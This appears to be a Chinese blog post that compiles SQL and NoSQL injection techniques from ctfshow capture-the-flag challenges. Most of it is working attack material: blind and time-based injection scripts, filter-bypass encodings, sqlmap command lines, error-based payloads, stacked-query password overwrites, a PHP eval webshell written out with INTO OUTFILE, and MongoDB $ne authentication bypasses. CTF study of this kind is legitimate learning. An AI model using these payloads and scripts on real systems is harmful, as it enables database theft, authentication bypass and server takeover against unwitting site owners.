Loading

ctfshow-SQL注入总结

过滤某些字符

使用Replace进行替代

如过滤数字

select username, replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password, 0, '!'), 1, '@'), 2, '#'), 3, '$'), 4, '%'), 5, '^'), 6, '&'), 7, '*'), 8, '('), 9, ')') from user;

直接写shell

SELECT 1, '<?php @eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/1.php'

bool盲注小脚本

无空格

import requests
import time


def get_response(result):
    url = 'http://e952e288-3d6c-4c73-9f3c-9bdf904827d5.challenge.ctf.show/select-waf.php'
    payload = "`ctfshow_user`where`pass`regexp'^{}'"
    dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
    data = {
        'tableName': payload
    }
    for word in dic:
        data['tableName'] = payload.format(result + word)
        response = requests.post(url, data=data)
        time.sleep(0.25)
        if response.text.find('$user_count = 1;') > 0:
            result += word
            return result


if __name__ == '__main__':
    result = ''
    for i in range(55):
        result = get_response(result)
        print(result)

有空格无引号

import requests
import time


def str2hex(string):
    result = ''
    for word in string:
        result += hex(ord(word))
    return result.replace('0x', '')

def get_response(result):
    url = 'http://61dea855-662d-4843-bd43-4518d01c80f6.challenge.ctf.show/select-waf.php'
    payload = "ctfshow_user group by pass having pass regexp(0x{})"
    dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
    data = {
        'tableName': payload
    }
    for word in dic:
        data['tableName'] = payload.format(str2hex(result) + str2hex(word))
        response = requests.post(url, data=data)
        time.sleep(0.25)
        if response.text.find('$user_count = 1;') > 0:
            result += word
            return result


if __name__ == '__main__':
    result = ''
    for i in range(55):
        result = get_response(result)
        print(result)

有空格无引号无数字

import requests
import time

true_dict = {
    '0': 'false',
    '1': 'true',
}
for i in range(2, 10):
    true_dict[str(i)] = true_dict['1'] + '+true' * (i - 1)


def word2char(word):
    num = str(ord(word))
    result = 'char(concat('
    for i in range(len(num)):
        if i == 0:
            result += '(' + true_dict[num[i]] + ')'
        else:
            result += ',(' + true_dict[num[i]] + ')'
    result += '))'
    return result


def sentence2true(string):
    final_pass = ''
    if string:
        for i in range(len(string)):
            if i == 0:
                final_pass += word2char(string[i])
            else:
                final_pass += ',' + word2char(string[i])
        final_pass += ''
    return final_pass


def get_response(result):
    url = 'http://283b4efa-e5be-454c-8b79-58af5d20673d.challenge.ctf.show/select-waf.php'
    payload = "ctfshow_user group by pass having pass regexp(concat(char(concat((true+true+true+true+true+true+true+true+true),(true+true+true+true))),{}))"
    dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
    data = {
        'tableName': payload
    }
    for word in dic:
        data['tableName'] = payload.format(sentence2true(result + word))
        response = requests.post(url, data=data)
        time.sleep(0.25)
        if response.text.find('$user_count = 1;') > 0:
            result += word
            return result


if __name__ == '__main__':
    result = ''
    for i in range(55):
        result = get_response(result)
        print(result)


ffifdyop 绕过

经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b

用法

select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1 实现sql注入


MySQL弱类型

select pass from ctfshow_user where username = 0;
# 返回所有字母开头的字符串
select pass from ctfshow_user where username = 1;
# 返回所有有且仅以1开头的字符串

简单盲注

import requests
import time

result = ""
url = 'http://986b6ffa-086c-4650-8237-9557e9bd100c.challenge.ctf.show/api/'

for i in range(80):
    min_num = 32
    max_num = 127
    while True:
        mid_num = (min_num + max_num) >> 1
        if mid_num == min_num:
            result += chr(mid_num)
            print(result)
            break
            # table_name = ctfshow_fl0g,ctfshow_user
            # column_name =  id,f1ag
        # payload = "admin' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),{},1))<{}#".format(i, mid_num)
        payload = "admin' and ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{}#".format(i, mid_num)
        data = {
            'username': payload,
            'password': 0
        }
        response = requests.post(url, data=data)
        time.sleep(0.25)
        if response.text.find('8bef') > 0:
            max_num = mid_num
        else:
            min_num = mid_num


简单时间盲注

import requests
import time

dic = ' ,ctfshow{}abdegijklmnpqruvxyz0123456789-_{}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
url = 'http://414da80d-977f-4f64-baf7-5a7adbebb60a.challenge.ctf.show/api/'
result = ''

for i in range(1, 60):
    for word in dic:
        # payload = "admin' and if(left(database(),{0})='{1}',sleep(3),0)#".format(i, result + word)
        # payload = "admin' and if(left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0})='{1}',sleep(3),0)#".format(i, result + word)
        # payload = "admin' and if(left((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{})='{}',sleep(3),0)#".format(i, result + word)
        payload = "admin' and if(left((select f1ag from ctfshow_flxg),{})='{}',sleep(3),0)#".format(i, result + word)
        data = {
            'username': payload,
            'password': 0
        }
        try:
            response = requests.post(url, data=data, timeout=2.5)
            time.sleep(0.25)
        except:
            result += word
            print(result)
            break

堆叠注入

修改密码

0;update`ctfshow_user`set`pass`=1;

sqlmap!

加上Content-Type

python sqlmap.py -u "http://3ab9b1ae-c170-40ff-af42-ad033c60ce68.challenge.ctf.show/api/index.php" --referer="http://3ab9b1ae-c170-40ff-af42-ad033c60ce68.challenge.ctf.show/sqlmap.php" --user-agent="sqlmap" --method=PUT --data="id=1" --header="Content-Type:plain/text" -D "ctfshow_web" -T "ctfshow_user" --dump

加上Cookie

python sqlmap.py -u "http://017da1d4-5a01-4fcd-8324-47eadbc8fed8.challenge.ctf.show/api/index.php" --cookie="UM_distinctid=17f8dc066e5110a-0a79e2943123cb-977173c-1fa400-17f8dc066e61408;PHPSESSID=da5hb4a6u61on4t4lhffegge1k;ctfshow=44256962b9536d9df3dc866f7ee2280d" --referer="ctf.show" --user-agent="sqlmap" --data="id=1" --dbs

加上权限鉴别

python sqlmap.py -u "http://79733793-f03e-4d3a-b82b-db5ee53ef35c.challenge.ctf.show/api/index.php" --safe-url="http://79733793-f03e-4d3a-b82b-db5ee53ef35c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=j9f8jf9tfmhigi2vd4c0mfsr17" --user-agent="sqlmap" --referer="ctf.show" --data="id=1" --method="PUT" --header="Content-Type:plain/text" --dbs

简单插件编写

python sqlmap.py -u "http://4480449f-c1fb-47ab-a2a4-f244b02da199.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://4480449f-c1fb-47ab-a2a4-f244b02da199.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space.py,208.py" --cookie="PHPSESSID=9k8plr4bg5iv6o5rf8pcv951s2" --referer="ctf.show" --method="PUT" --header="Content-Type:plain/text" -D "ctfshow_web" -T "ctfshow_flaxca" --dump

MySQL延时函数

sleep()

benchmark

benchmark(100000, sha(1))

rlike

此为延时五秒

select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';

笛卡尔积

select count(*) from information_schema.tables a, information_schema.tables b, information_schema.tables c

LIMIT 注入

limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)

group by 注入

group by if(1,sleep(3),1)

简单二分法盲注脚本编写

import requests
import time

result = ""
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0",
    "Cookie": "PHPSESSID=krinjq6udbrkf7edq1co1uohcq",
    "Referer": "http://29e88e4d-f61f-48e3-8a9b-452c8e6d7d90.challenge.ctf.show/other.php"
}
url = "http://29e88e4d-f61f-48e3-8a9b-452c8e6d7d90.challenge.ctf.show/api/?page=1&limit=10&u="


def getTrue(num):
    val = "true"
    if num == 1:
        return val
    for i in range(num - 1):
        val += "%2Btrue"
    return val


for i in range(1, 65):
    min_num = 32
    max_num = 127
    while True:
        mid_num = (min_num + max_num) >> 1
        if mid_num == min_num:
            result += chr(mid_num)
            print(result)
            break
        # payload = "if(ascii(substr((select database()),{},{}))<{},username,'a')#".format("("+getTrue(i)+")", "("+getTrue(1)+")", "("+getTrue(mid_num)+")")
        # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},{}))<{},username,'a')#".format("(" + getTrue(i) + ")",
        #                                                                                  "(" + getTrue(1) + ")",
        #                                                                                  "(" + getTrue(mid_num) + ")")
        # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagas'),{},{}))<{},username,'a')#".format(
        #     "(" + getTrue(i) + ")",
        #     "(" + getTrue(1) + ")",
        #     "(" + getTrue(mid_num) + ")")
        payload = "if(ascii(substr((select flagasabc from ctfshow_flagas),{},{}))<{},username,'a')#".format(
            "(" + getTrue(i) + ")",
            "(" + getTrue(1) + ")",
            "(" + getTrue(mid_num) + ")")
        response = requests.get(url + payload, headers=headers)
        time.sleep(0.25)
        if response.text.find("user1") > 0:
            max_num = mid_num
        else:
            min_num = mid_num


堆叠注入提升

SQL注入预编译拼接命令

prepare p from concat('s','elect','* from ctfshow_flagasa');
execute p;

或可以直接写为

prepare p from 0x......;
execute p;

MySQL特有-handler

handler ctfshow_user open;
handler ctfshow_user read first;
handler ctfshow_user read next;


MySQL 查看存储过程和函数

查看存储过程和函数的状态

SHOW {PROCEDURE | FUNCTION} STATUS [LIKE 'pattern']

SHOW STATUS语句是MySQL的一个扩展。它返回子程序的特征,如数据库、名字、类型、创建者及创建和修改日期。

PROCEDURE查看存储过程
FUNCTION查看函数
LIKE匹配存储过程或函数的名称

查看存储过程和函数的定义

SHOW CREATE {PROCEDURE | FUNCTION} sp_name

SHOW CREATE是MySQL的一个扩展,类似于SHOW CREATE TABLE,它返回一个可用来重新创建已命名子程序的确切字符串。

查看存储过程和函数的信息

在MySQL中,存储过程和函数的信息存储在information_schema数据库下的Routines表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:

SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name';

其中,ROUTINE_NAME字段中存储的是存储过程和函数的名称,sp_name参数表示存储过程或函数的名称

调用存储过程

call getFlag();

update注入

update cuser set password='1',username=(select database());

Bypass information_schema与无列名注入

Bypass information_schema

sys.schema_auto_increment_columns

select table_name from sys.schema_auto_increment_columns;
select table_schema from sys.schema_auto_increment_columns;

sys.schema_table_statistics_with_buffer

select table_name from sys.schema_table_statistics_with_buffer;
select table_schema from sys.schema_table)statistics_with_buffer;

sys.x$schema_table_statistics_with_buffer

select table_name from sys.x$schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;

mysql.innodb_table_stats

select table_name from mysql.innodb_table_stats where database_name='practice';

无列名注入

利用join进行无列名注入

通过系统关键词join可建立两个表之间的内连接,通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列明存在),而发生错误。并且报错信息会存在重复的列名,因此可以使用USING表达式声明内连接(INNER JOIN)条件来避免报错

select * from (select * from cuser as a join cuser as b) as c;
select * from (select * from cuser as a join cuser as b using(id)) as c;
select * from (select * from cuser as a join cuser as b using(id, username, password)) as c;

利用普通子查询

select `3` from (select 1,2,3 union select * from cuser) a;

过滤反引号时候可以使用别名

select c from (select 1,2,3 as c union select * from cuser) a;

insert注入

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

可以将username闭合,后面跟上需要的信息
update同理


delete注入

思路:时间盲注


FILE注入

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

"OPTION"参数为可选参数选项,其可能的取值有:

FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。

LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”

可利用选项

  1. FIELDS TERMINATED BY
  2. LINES STARTING BY
  3. LINES TERMINATED BY

报错注入

为何要用0x7e

因为0x7e,即~在xpath语法中不存在,故总能报错。

updatexml

or updatexml(1,(concat(0x7e,(select database()))),1)--+

extractvalue()

or extractvalue(1, concat(0x7e, (select database())))--+

双查询注入

floor()可以替换为ceil()或者round()

id=1' union select 1,count(*),concat((select database()),0x7e,floor(rand()*2))a from information_schema.columns group by a--+

UDF

什么是UDF

全称是User defined function(用户自定义函数)

详细看
https://www.k0rz3n.com/2018/10/21/Mysql 在渗透测试中的利用/#三、MYSQL-UDF-提权


NoSQL注入

重言式

即永真式,此类攻击在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制

<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']

); 
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

我们从代码中可以看出,这里对用户输入没有做任何校验,那么我们可以通过构造一个永真的条件就可以完成NoSQL注入。MongoDB基础我在本文不再赘述,直接构造payload:username[$ne]=1&password[$ne]=1的payload.

对于PHP本身的特性而言,由于其松散的数组特性,导致如果我们输入value=1那么,也就是输入了一个value的值为1的数据。如果输入value[\(ne]=1也就意味着value=array(\)ne=>1),在MongoDB中,原来的一个单个目标的查询变成了条件查询。同样的,我们也可以使用username[\(gt]=&password[\)gt]=作为payload进行攻击。

联合查询

我们都知道在SQL时代拼接字符串容易造成SQL注入,NoSQL也有类似问题,但是现在无论是PHP的MongoDB driver还是node.js的mongoose都要求查询条件必须是一个数组或者对象了,因此简单看一下就好。

string query ="{ username: '" + post_username + "', password: '" + post_password + "' }"
payload:

username=tolkien', $or: [ {}, { 'a':'a&password=' } ]

JavaScript注入

由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询变成可能。传递不干净的用户输入到这些查询中额可以注入任意JS代码,此方法会导致非法的数据获取或篡改。

posted @ 2022-04-04 10:18  amazingman113  阅读(594)  评论(0)    收藏  举报